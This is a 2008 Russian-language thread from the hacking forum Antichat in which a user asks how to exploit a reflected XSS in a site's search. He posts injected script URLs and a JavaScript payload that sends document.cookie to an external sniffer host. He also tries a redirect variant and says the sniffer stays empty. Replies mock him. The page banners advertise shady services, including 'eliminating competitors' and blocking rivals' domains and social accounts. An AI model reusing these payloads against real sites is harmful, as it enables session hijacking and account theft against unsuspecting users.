Xss в поиске...что дальше ?

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Xss в поиске...что дальше ?

Страница 3 из 3

Опции темы

Поиск в этой теме

Опции просмотра

#21

10.06.2008, 19:02

geforse

Постоянный

Регистрация: 02.03.2008

Сообщений: 893

С нами: 9574565

Репутация: 712

В общем вот что в итоге получается (сколько я не клацкал)) на интер)

Код:

http://localhost/1.php?a=search=%22%3E%3Cscript%20src=http://САЙТ.ru/js.js%3E%3C/script%3E

Получившуюся ссылку засовую в сообщение и отсылаю:
(вот эту ссылку)

PHP код:


		
			
antichat.ru

Может переадресацию нужно сделать какнить на мой js.js

Если на неё нажать,,,попадаю сюда:

PHP код:


		
			
http://site.ru/forum/ssearch.php?q=%22%3E%3Cscript%20src=http://xxx.ru/js.js%3E%3C/script%3E

------------------------------------------------------------------------

Снифер пустой,,,,может из за кода js.js

Я в нём вот что пишу,,,но помойму не работает он вовсе)):

Код HTML:

<script>img = new Image(); img.src = "http://s.netsec.ru/login.gif?"+document.cookie;</script>

Последний раз редактировалось geforse; 10.06.2008 в 19:06..

#22

10.06.2008, 19:13

geforse

Постоянный

Регистрация: 02.03.2008

Сообщений: 893

С нами: 9574565

Репутация: 712

Может вот так сделать:

Код HTML:

http://localhost/1.php?a=search="><script language="JavaScript">document.location.href=http://ххх.ru/js.js></script>

----------------------------------------------------------------------
не перенаправляет так...

Последний раз редактировалось geforse; 10.06.2008 в 19:15..

#23

10.06.2008, 19:23

diehard

Постоянный

Регистрация: 30.09.2007

Сообщений: 815

С нами: 9796693

Репутация: 659

ОМФГ! Лучше просто забей на это дело

#24

10.06.2008, 19:25

Mo4x

Постоянный

Регистрация: 18.02.2007

Сообщений: 416

С нами: 10119206

Репутация: 412

-Хочешь спать спокойно, лучше не начинай.

Последний раз редактировалось Mo4x; 10.06.2008 в 19:28..

#25

10.06.2008, 19:38

geforse

Постоянный

Регистрация: 02.03.2008

Сообщений: 893

С нами: 9574565

Репутация: 712

Цитата:

Сообщение от diehard

ОМФГ! Лучше просто забей на это дело

Этого я уж точно не сделаю....

Последний раз редактировалось geforse; 10.06.2008 в 19:42..

#26

11.06.2008, 15:50

fatalo

Участник форума

Регистрация: 15.05.2008

Сообщений: 166

С нами: 9467906

Репутация: 128

Мб если ты не можешь простейшего(утащить куки) не стоит в это ввязыватся?(советую перечитать мануал по xss)

Страница 3 из 3

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Юмор. Анекдоты, смешные рассказы/логи.	Mobile	Болталка	1356	16.06.2010 16:46
Установка Windoze глазами линуксоида (100% факты)	nerezus	Болталка	47	16.10.2005 15:06

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход